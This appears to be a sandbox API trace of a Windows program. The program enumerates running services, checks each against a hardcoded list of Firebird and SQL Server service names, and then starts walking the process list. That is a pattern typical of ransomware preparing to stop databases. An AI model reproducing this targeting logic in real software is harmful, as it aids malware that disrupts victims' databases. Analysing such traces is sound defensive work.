	[0179.417] EnumServicesStatusExW (in: hSCManager=0x41c08b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0179.417] GetLastError () returned 0xea
	[0179.417] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e6cb8
	[0179.418] EnumServicesStatusExW (in: hSCManager=0x41c08b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e6cb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e6cb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0179.418] CloseServiceHandle (hSCObject=0x41c08b8) returned 1
	[0179.419] lstrlenW (lpString="Appinfo") returned 7
	[0179.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0179.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0179.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0179.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0179.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0179.419] lstrlenW (lpString="AppXSvc") returned 7
	[0179.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0179.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0179.419] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0179.419] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0179.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0179.419] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0179.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0179.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0179.419] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0179.419] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0179.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0179.419] lstrlenW (lpString="Audiosrv") returned 8
	[0179.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0179.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0179.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0179.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0179.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0179.419] lstrlenW (lpString="BFE") returned 3
	[0179.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0179.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0179.419] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0179.419] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0179.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0179.419] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0179.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0179.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0179.419] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0179.420] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0179.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0179.420] lstrlenW (lpString="CDPSvc") returned 6
	[0179.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0179.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0179.420] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0179.420] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0179.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0179.420] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0179.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0179.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0179.420] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0179.420] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0179.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0179.420] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0179.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0179.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0179.420] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0179.420] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0179.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0179.420] lstrlenW (lpString="CryptSvc") returned 8
	[0179.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0179.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0179.420] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0179.420] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0179.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0179.420] lstrlenW (lpString="DcomLaunch") returned 10
	[0179.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0179.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0179.420] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0179.420] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0179.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0179.420] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0179.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0179.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0179.420] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0179.421] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0179.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0179.421] lstrlenW (lpString="Dhcp") returned 4
	[0179.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0179.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0179.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0179.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0179.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0179.421] lstrlenW (lpString="Dnscache") returned 8
	[0179.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0179.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0179.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0179.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0179.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0179.421] lstrlenW (lpString="DPS") returned 3
	[0179.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0179.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0179.421] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0179.421] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0179.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0179.421] lstrlenW (lpString="DusmSvc") returned 7
	[0179.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0179.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0179.421] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0179.421] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0179.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0179.421] lstrlenW (lpString="EventLog") returned 8
	[0179.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0179.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0179.421] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0179.421] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0179.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0179.421] lstrlenW (lpString="EventSystem") returned 11
	[0179.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0179.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0179.421] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0179.422] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0179.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0179.422] lstrlenW (lpString="FontCache") returned 9
	[0179.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0179.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0179.422] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0179.422] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0179.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0179.422] lstrlenW (lpString="gpsvc") returned 5
	[0179.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0179.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0179.422] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0179.422] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0179.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0179.422] lstrlenW (lpString="iphlpsvc") returned 8
	[0179.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0179.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0179.422] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0179.422] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0179.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0179.422] lstrlenW (lpString="KeyIso") returned 6
	[0179.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0179.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0179.422] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0179.422] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0179.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0179.422] lstrlenW (lpString="LanmanServer") returned 12
	[0179.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0179.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0179.422] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0179.422] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0179.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0179.422] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0179.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0179.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0179.423] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0179.423] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0179.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0179.423] lstrlenW (lpString="lfsvc") returned 5
	[0179.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0179.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0179.423] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0179.423] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0179.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0179.423] lstrlenW (lpString="lmhosts") returned 7
	[0179.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0179.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0179.423] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0179.423] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0179.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0179.423] lstrlenW (lpString="LSM") returned 3
	[0179.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0179.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0179.423] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0179.423] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0179.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0179.423] lstrlenW (lpString="MpsSvc") returned 6
	[0179.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0179.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0179.423] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0179.423] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0179.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0179.423] lstrlenW (lpString="NcbService") returned 10
	[0179.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0179.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0179.423] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0179.423] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0179.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0179.423] lstrlenW (lpString="netprofm") returned 8
	[0179.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0179.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0179.424] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0179.424] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0179.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0179.424] lstrlenW (lpString="NgcSvc") returned 6
	[0179.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0179.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0179.424] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0179.424] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0179.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0179.424] lstrlenW (lpString="NlaSvc") returned 6
	[0179.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0179.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0179.424] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0179.424] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0179.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0179.424] lstrlenW (lpString="nsi") returned 3
	[0179.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0179.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0179.424] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0179.424] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0179.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0179.424] lstrlenW (lpString="PcaSvc") returned 6
	[0179.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0179.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0179.424] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0179.424] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0179.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0179.424] lstrlenW (lpString="PlugPlay") returned 8
	[0179.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0179.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0179.424] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0179.424] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0179.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0179.424] lstrlenW (lpString="Power") returned 5
	[0179.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0179.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0179.425] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0179.425] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0179.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0179.425] lstrlenW (lpString="ProfSvc") returned 7
	[0179.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0179.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0179.425] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0179.425] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0179.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0179.425] lstrlenW (lpString="RpcEptMapper") returned 12
	[0179.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0179.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0179.425] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0179.425] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0179.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0179.425] lstrlenW (lpString="RpcSs") returned 5
	[0179.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0179.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0179.425] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0179.425] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0179.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0179.425] lstrlenW (lpString="SamSs") returned 5
	[0179.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0179.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0179.425] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0179.425] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0179.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0179.425] lstrlenW (lpString="Schedule") returned 8
	[0179.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0179.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0179.425] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0179.425] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0179.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0179.425] lstrlenW (lpString="SecurityHealthService") returned 21
	[0179.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0179.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0179.426] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0179.426] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0179.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0179.426] lstrlenW (lpString="SENS") returned 4
	[0179.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0179.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0179.426] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0179.426] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0179.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0179.426] lstrlenW (lpString="ShellHWDetection") returned 16
	[0179.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0179.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0179.426] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0179.426] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0179.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0179.426] lstrlenW (lpString="Spooler") returned 7
	[0179.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0179.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0179.426] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0179.426] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0179.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0179.426] lstrlenW (lpString="StateRepository") returned 15
	[0179.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0179.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0179.426] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0179.426] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0179.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0179.426] lstrlenW (lpString="SysMain") returned 7
	[0179.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0179.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0179.426] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0179.426] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0179.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0179.426] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0179.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0179.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0179.427] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0179.427] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0179.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0179.427] lstrlenW (lpString="Themes") returned 6
	[0179.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0179.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0179.427] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0179.427] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0179.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0179.427] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0179.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0179.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0179.427] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0179.427] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0179.427] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e6cb8 | out: hHeap=0x5a0000) returned 1
	[0179.427] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x55c
	[0179.431] Process32FirstW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0179.431] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0179.432] lstrlenW (lpString="System") returned 6
	[0179.432] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0179.432] lstrlenW (lpString="smss.exe") returned 8
